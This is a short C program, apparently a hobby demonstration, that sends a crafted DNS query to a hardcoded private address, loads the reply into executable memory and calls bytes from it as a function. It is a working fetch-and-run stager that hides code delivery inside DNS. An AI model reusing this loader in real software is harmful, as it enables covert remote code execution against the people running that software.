Code execution from special crafted dns packet

#include <stdio.h>

#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main()
{
    struct sockaddr_in sr = {
        .sin_family = AF_INET,
        .sin_port   = htons(53),
        .sin_addr.s_addr = 0x01b2a8c0
    };
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    char *mem = mmap(0, 0x1000,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);
    sendto(sock,
           "\x13\x37\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04"
           "hack\x06""frilug\x03""org\x00\x00\x01\x00\x01",
           33, 0, (struct sockaddr *)&sr, sizeof(struct sockaddr_in));
    recvfrom(sock, mem, 0x1000,
             0, NULL, NULL);
    int (*fun)(int, int) = (int (*)(int, int))&mem[0x2E];

    int a = 6;
    int b = 7;
    int ret = fun(a, b);
    printf("fun(%d, %d) = %d\n", a, b, ret);
    return 0;
}